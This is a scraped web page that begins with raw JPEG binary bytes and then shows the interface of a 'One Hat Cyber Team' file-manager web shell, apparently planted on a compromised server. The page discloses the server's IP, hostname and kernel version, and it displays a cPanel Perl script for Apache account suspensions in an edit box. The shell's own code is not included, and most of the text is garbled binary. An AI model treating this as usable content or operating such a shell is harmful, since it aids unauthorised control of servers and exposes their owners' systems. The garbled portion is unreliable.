����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.15.176.204
Server IP :
167.114.57.54
Server :
Linux vps.riaoverseas.com 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
8.0.18
Buat File
|
Buat Folder
Dir :
~
/
proc
/
self
/
root
/
scripts
/
Edit File Name :
generate_account_suspension_include
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/generate_account_suspension_include # Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package generate_account_suspension_include; use strict; use Cpanel::ConfigFiles::Apache (); use Cpanel::PwCache::Build (); use Cpanel::LoadModule (); use Cpanel::FileUtils::Write (); use Cpanel::FileUtils::Dir (); use Cpanel::HttpUtils::ApRestart::BgSafe (); use Cpanel::LoadFile (); use Cpanel::Usage (); my $apacheconf = Cpanel::ConfigFiles::Apache->new(); sub _suspension_include_file { return $apacheconf->dir_conf_includes() . '/account_suspensions.conf'; } sub _suspension_dir { return '/var/cpanel/suspended/'; } sub _test_legacy_include_dir { return $apacheconf->dir_conf_userdata() . '/std/2/'; } sub main { my @argv = @_; my $update = 0; my $restart = 0; my $convert = 0; my $verbose = 0; Cpanel::Usage::wrap_options( \@argv, \&usage, { update => \$update, restart => \$restart, convert => \$convert, verbose => \$verbose } ); if ($update) { output("Starting update\n") if $verbose; if ( update_include($convert) ) { output("Account suspension include updated\n") if $verbose; if ($restart) { output("Queueing Apache restart\n") if $verbose; Cpanel::HttpUtils::ApRestart::BgSafe::restart(); } else { output("Skipping Apache restart\n") if $verbose; } } else { output("Account suspension include was already up to date.\n") if $verbose; } } else { usage(); } return 0; } sub output { my $message = shift; return print $message; } # Not called internally; this is here for code that loads this script # as a module. sub update_include_and_restart_httpd () { update_include(0); Cpanel::HttpUtils::ApRestart::BgSafe::restart(); return; } sub update_include { my ($convert) = @_; my %original_suspended_docroots = (); my %retained_suspended_docroots = (); my %new_suspended_docroots = (); my $suspension_contents = -e _suspension_include_file() ? Cpanel::LoadFile::loadfile( _suspension_include_file() ) : ''; while ( $suspension_contents =~ /<Directory "([^\n]+)">\n/g ) { $original_suspended_docroots{$1} = undef; } my %suspended_users = map { $_ => 1 } @{ Cpanel::FileUtils::Dir::get_directory_nodes_if_exists( _suspension_dir() ) // [] }; my $pwcache_ref = Cpanel::PwCache::Build::fetch_pwcache(); foreach my $pw_ent (@$pwcache_ref) { my ( $user, $uid, $gid, $homedir ) = @{$pw_ent}[ 0, 2, 3, 7 ]; if ($convert) { remove_old_suspension_includes($user); } if ( $suspended_users{$user} ) { if ( exists( $original_suspended_docroots{$homedir} ) ) { delete $original_suspended_docroots{$homedir}; $retained_suspended_docroots{$homedir} = undef; } elsif ( exists( $retained_suspended_docroots{$homedir} ) ) { # Homedir is listed twice in /etc/passwd? } else { $new_suspended_docroots{$homedir} = undef; } } } if ( !$suspension_contents || scalar keys %original_suspended_docroots || scalar keys %new_suspended_docroots ) { generate_include( keys %retained_suspended_docroots, keys %new_suspended_docroots ); return 1; } return 0; } sub remove_old_suspension_includes { my $user = shift; if ( -e _test_legacy_include_dir() . "$user/$user-suspend.conf" ) { Cpanel::LoadModule::load_perl_module('Cpanel::EditHttpdconf'); Cpanel::EditHttpdconf::del_vhost_include( { 'user' => $user, 'file' => "$user-suspend.conf", 'ensure_vhost_include_directives' => 0, # The include line is left in the conf file. It will disappear during the next full rebuild } ); } return; } sub generate_include { my @docroots = @_; my $include_contents = <<EO_SUSPENSION_HEADER; # This include file is automatically generated by # /usr/local/cpanel/scripts/generate_account_suspension_include # Any manual edits inside this file will be lost whenever account # suspensions are updated. RewriteEngine On EO_SUSPENSION_HEADER foreach my $docroot ( sort @docroots ) { $include_contents .= <<EO_SUSPENSION; <Directory "$docroot"> AllowOverride none RedirectMatch ^/(?!cgi-sys/suspendedpage.cgi).* /cgi-sys/suspendedpage.cgi </Directory> EO_SUSPENSION } return Cpanel::FileUtils::Write::overwrite_no_exceptions( _suspension_include_file(), $include_contents, 0600 ); } sub usage { my $usage = <<EO_USAGE; generate_account_suspension_include [--update|--help] [options] Commands: --help Brief help message --update Update the account_suspensions . conf based on the system 's current account suspensions Options: --convert Remove legacy individual account suspension include files. --restart Restart Apache if the account_suspensions.conf has changed --verbose Display verbose information messages EO_USAGE return output($usage); } exit main(@ARGV) unless caller(); 1;
Save